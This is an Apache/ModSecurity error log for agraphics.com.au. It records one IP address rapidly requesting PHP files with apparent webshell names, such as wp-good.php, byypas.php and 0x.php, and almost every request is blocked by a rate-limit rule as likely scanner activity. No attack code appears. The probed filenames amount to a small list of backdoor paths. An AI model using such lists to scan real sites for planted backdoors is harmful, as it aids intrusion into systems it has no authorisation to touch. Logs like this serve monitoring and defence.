[Sun Apr 26 15:21:55.419498 2026] [:error] [pid 8385:tid 8427] [client 20.215.250.178:27336] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amwxl.php"] [unique_id "ae29EzOy7_J84Wx3-oyyNwAAAEM"]
[Sun Apr 26 15:21:56.088941 2026] [:error] [pid 8383:tid 8399] [client 20.215.250.178:26857] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "ae29FNFa2S3EsATMdWP1qQAAAAI"]
[Sun Apr 26 15:21:56.202828 2026] [:error] [pid 8383:tid 8419] [client 20.215.250.178:26922] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "ae29FNFa2S3EsATMdWP1qgAAABY"]
[Sun Apr 26 15:21:56.824429 2026] [:error] [pid 8390:tid 8463] [client 20.215.250.178:26825] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "ae29FIGPtFK_i9p5yxT8gAAAAIw"]
[Sun Apr 26 15:21:57.184810 2026] [:error] [pid 8385:tid 8447] [client 20.215.250.178:26374] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "ae29FTOy7_J84Wx3-oyyPAAAAFc"]
[Sun Apr 26 15:21:57.573407 2026] [:error] [pid 16515:tid 16531] [client 20.215.250.178:26903] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "ae29FVtDrUmgHSvpuLwZXgAAAk0"]
[Sun Apr 26 15:21:57.799677 2026] [:error] [pid 22572:tid 22582] [client 20.215.250.178:26868] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "ae29FdXOViWCFU-pZzDuaAAAAUQ"]
[Sun Apr 26 15:21:58.981895 2026] [:error] [pid 8390:tid 8454] [client 20.215.250.178:26832] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "ae29FoGPtFK_i9p5yxT8gQAAAIM"]
[Sun Apr 26 15:21:59.112956 2026] [:error] [pid 22572:tid 22602] [client 20.215.250.178:26909] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "ae29F9XOViWCFU-pZzDuagAAAVg"]
[Sun Apr 26 15:22:00.019850 2026] [:error] [pid 22572:tid 22597] [client 20.215.250.178:25531] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/userfuns.php"] [unique_id "ae29GNXOViWCFU-pZzDubQAAAVM"]
[Sun Apr 26 15:22:00.031482 2026] [:error] [pid 8390:tid 8473] [client 20.215.250.178:25477] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amwxl.php"] [unique_id "ae29GIGPtFK_i9p5yxT8ggAAAJY"]
[Sun Apr 26 15:22:00.767166 2026] [:error] [pid 13137:tid 13142] [client 20.215.250.178:27440] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/userfuns.php"] [unique_id "ae29GN0RB4J0o4h5neFGuAAAAgI"]
[Sun Apr 26 15:22:00.985325 2026] [:error] [pid 8390:tid 8466] [client 20.215.250.178:26938] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amwxl.php"] [unique_id "ae29GIGPtFK_i9p5yxT8hQAAAI8"]
[Sun Apr 26 15:22:01.561379 2026] [:error] [pid 8390:tid 8469] [client 20.215.250.178:27375] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/userfuns.php"] [unique_id "ae29GYGPtFK_i9p5yxT8hwAAAJI"]
[Sun Apr 26 15:22:01.740381 2026] [:error] [pid 8390:tid 8453] [client 20.215.250.178:26919] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amwxl.php"] [unique_id "ae29GYGPtFK_i9p5yxT8iAAAAII"]
[Sun Apr 26 15:22:02.687042 2026] [:error] [pid 13137:tid 13152] [client 20.215.250.178:27862] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amwxl.php"] [unique_id "ae29Gt0RB4J0o4h5neFGuwAAAgs"]
[Sun Apr 26 15:22:02.702843 2026] [:error] [pid 16515:tid 16519] [client 20.215.250.178:27421] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/userfuns.php"] [unique_id "ae29GltDrUmgHSvpuLwZZAAAAkE"]
[Sun Apr 26 15:22:03.341590 2026] [:error] [pid 8383:tid 8416] [client 20.215.250.178:27344] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "ae29G9Fa2S3EsATMdWP1rAAAABM"]
[Sun Apr 26 15:22:03.961034 2026] [:error] [pid 16515:tid 16520] [client 20.215.250.178:27904] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "ae29G1tDrUmgHSvpuLwZZwAAAkI"]
[Sun Apr 26 15:22:04.073844 2026] [:error] [pid 8390:tid 8451] [client 20.215.250.178:27397] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "ae29HIGPtFK_i9p5yxT8iwAAAIA"]
[Sun Apr 26 15:22:04.794930 2026] [:error] [pid 22572:tid 22595] [client 20.215.250.178:27455] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "ae29HNXOViWCFU-pZzDucAAAAVE"]
[Sun Apr 26 15:22:04.805456 2026] [:error] [pid 8383:tid 8401] [client 20.215.250.178:27892] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "ae29HNFa2S3EsATMdWP1rQAAAAQ"]
[Sun Apr 26 15:22:05.407334 2026] [:error] [pid 13137:tid 13153] [client 20.215.250.178:27433] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "ae29Hd0RB4J0o4h5neFGvAAAAgw"]
[Sun Apr 26 15:22:05.508870 2026] [:error] [pid 16515:tid 16541] [client 20.215.250.178:27870] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "ae29HVtDrUmgHSvpuLwZaQAAAlc"]
[Sun Apr 26 15:22:06.240530 2026] [:error] [pid 8385:tid 8430] [client 20.215.250.178:27331] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "ae29HjOy7_J84Wx3-oyyQAAAAEY"]
[Sun Apr 26 15:22:06.444015 2026] [:error] [pid 16515:tid 16531] [client 20.215.250.178:27965] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ae29HltDrUmgHSvpuLwZawAAAk0"]
[Sun Apr 26 15:22:07.132931 2026] [:error] [pid 8385:tid 8437] [client 20.215.250.178:27434] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/userfuns.php"] [unique_id "ae29HzOy7_J84Wx3-oyyQQAAAE0"]
[Sun Apr 26 15:22:07.911314 2026] [:error] [pid 13137:tid 13161] [client 20.215.250.178:27963] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ae29H90RB4J0o4h5neFGwQAAAhQ"]
[Sun Apr 26 15:22:08.453008 2026] [:error] [pid 13137:tid 13154] [client 20.215.250.178:27856] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/userfuns.php"] [unique_id "ae29IN0RB4J0o4h5neFGwwAAAg0"]
[Sun Apr 26 15:22:08.916429 2026] [:error] [pid 8390:tid 8468] [client 20.215.250.178:26915] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ae29IIGPtFK_i9p5yxT8jQAAAJE"]
[Sun Apr 26 15:22:09.504445 2026] [:error] [pid 22572:tid 22602] [client 20.215.250.178:27353] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/userfuns.php"] [unique_id "ae29IdXOViWCFU-pZzDucQAAAVg"]
[Sun Apr 26 15:22:10.090605 2026] [:error] [pid 8385:tid 8431] [client 20.215.250.178:27427] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ae29IjOy7_J84Wx3-oyyRQAAAEc"]
[Sun Apr 26 15:22:10.833015 2026] [:error] [pid 8390:tid 8456] [client 20.215.250.178:27884] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/userfuns.php"] [unique_id "ae29IoGPtFK_i9p5yxT8jgAAAIU"]
[Sun Apr 26 15:22:11.159722 2026] [:error] [pid 8390:tid 8461] [client 20.215.250.178:27926] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "ae29I4GPtFK_i9p5yxT8jwAAAIo"]
[Sun Apr 26 15:22:11.682089 2026] [:error] [pid 22572:tid 22586] [client 20.215.250.178:27840] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "ae29I9XOViWCFU-pZzDudAAAAUg"]
[Sun Apr 26 15:22:12.184231 2026] [:error] [pid 16574:tid 16604] [client 20.215.250.178:27398] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "ae29JH5MsX8wRQr99nYfwwAAA0A"]
[Sun Apr 26 15:22:12.623385 2026] [:error] [pid 8390:tid 8469] [client 20.215.250.178:27952] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "ae29JIGPtFK_i9p5yxT8kgAAAJI"]
[Sun Apr 26 15:22:13.054298 2026] [:error] [pid 16515:tid 16533] [client 20.215.250.178:27869] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "ae29JVtDrUmgHSvpuLwZbwAAAk8"]
[Sun Apr 26 15:22:13.756523 2026] [:error] [pid 8390:tid 8460] [client 20.215.250.178:27419] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "ae29JYGPtFK_i9p5yxT8lAAAAIk"]
[Sun Apr 26 15:22:14.282271 2026] [:error] [pid 22572:tid 22597] [client 20.215.250.178:27950] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "ae29JtXOViWCFU-pZzDudQAAAVM"]
[Sun Apr 26 15:22:14.920070 2026] [:error] [pid 8383:tid 8407] [client 20.215.250.178:27949] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "ae29JtFa2S3EsATMdWP1tgAAAAo"]
[Sun Apr 26 15:22:15.547328 2026] [:error] [pid 13137:tid 13165] [client 20.215.250.178:24746] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "ae29J90RB4J0o4h5neFGxAAAAhg"]
[Sun Apr 26 15:22:16.373521 2026] [:error] [pid 8491:tid 8500] [client 20.215.250.178:27399] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ae29KCq7I7e6CJooQM3jRQAAAME"]
[Sun Apr 26 15:22:16.985992 2026] [:error] [pid 13197:tid 13239] [client 20.215.250.178:27923] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "ae29KN3kktFKdSxTrBu_1gAAAsg"]
[Sun Apr 26 15:22:17.834289 2026] [:error] [pid 8383:tid 8412] [client 20.215.250.178:26924] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ae29KdFa2S3EsATMdWP1ugAAAA8"]
[Sun Apr 26 15:22:18.244345 2026] [:error] [pid 8385:tid 8440] [client 20.215.250.178:27939] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "ae29KjOy7_J84Wx3-oyyRgAAAFA"]
[Sun Apr 26 15:22:18.887934 2026] [:error] [pid 16515:tid 16518] [client 20.215.250.178:27410] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "ae29KltDrUmgHSvpuLwZcQAAAkA"]
[Sun Apr 26 15:22:18.976465 2026] [:error] [pid 8390:tid 8458] [client 20.215.250.178:26869] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ae29KoGPtFK_i9p5yxT8lwAAAIc"]
[Sun Apr 26 15:22:19.918608 2026] [:error] [pid 8385:tid 8446] [client 20.215.250.178:26865] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "ae29KzOy7_J84Wx3-oyyRwAAAFY"]
[Sun Apr 26 15:22:20.067126 2026] [:error] [pid 8390:tid 8456] [client 20.215.250.178:27436] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ae29LIGPtFK_i9p5yxT8mgAAAIU"]
[Sun Apr 26 15:22:21.909612 2026] [proxy_fcgi:error] [pid 8390:tid 8469] [client 20.215.250.178:27843] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:22:22.385310 2026] [proxy_fcgi:error] [pid 8390:tid 8453] [client 20.215.250.178:27843] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:22:22.744777 2026] [proxy_fcgi:error] [pid 22572:tid 22598] [client 20.215.250.178:27868] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:22:22.845167 2026] [proxy_fcgi:error] [pid 8390:tid 8460] [client 20.215.250.178:27843] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:22:23.005433 2026] [proxy_fcgi:error] [pid 22572:tid 22593] [client 20.215.250.178:27868] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:22:23.128453 2026] [proxy_fcgi:error] [pid 8390:tid 8470] [client 20.215.250.178:27843] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:22:23.417144 2026] [proxy_fcgi:error] [pid 8390:tid 8452] [client 20.215.250.178:27843] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:22:23.687563 2026] [proxy_fcgi:error] [pid 22572:tid 22578] [client 20.215.250.178:27868] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:22:23.707608 2026] [proxy_fcgi:error] [pid 8390:tid 8451] [client 20.215.250.178:27843] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:22:23.945326 2026] [proxy_fcgi:error] [pid 22572:tid 22600] [client 20.215.250.178:27868] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:22:23.989844 2026] [proxy_fcgi:error] [pid 8390:tid 8472] [client 20.215.250.178:27843] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:22:24.200825 2026] [:error] [pid 22572:tid 22579] [client 20.215.250.178:27868] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "ae29MNXOViWCFU-pZzDufgAAAUE"]
[Sun Apr 26 15:22:24.274519 2026] [:error] [pid 8390:tid 8475] [client 20.215.250.178:27843] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "ae29MIGPtFK_i9p5yxT8pAAAAJg"]
[Sun Apr 26 15:22:25.663158 2026] [:error] [pid 16515:tid 16531] [client 20.215.250.178:27403] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "ae29MVtDrUmgHSvpuLwZdQAAAk0"]
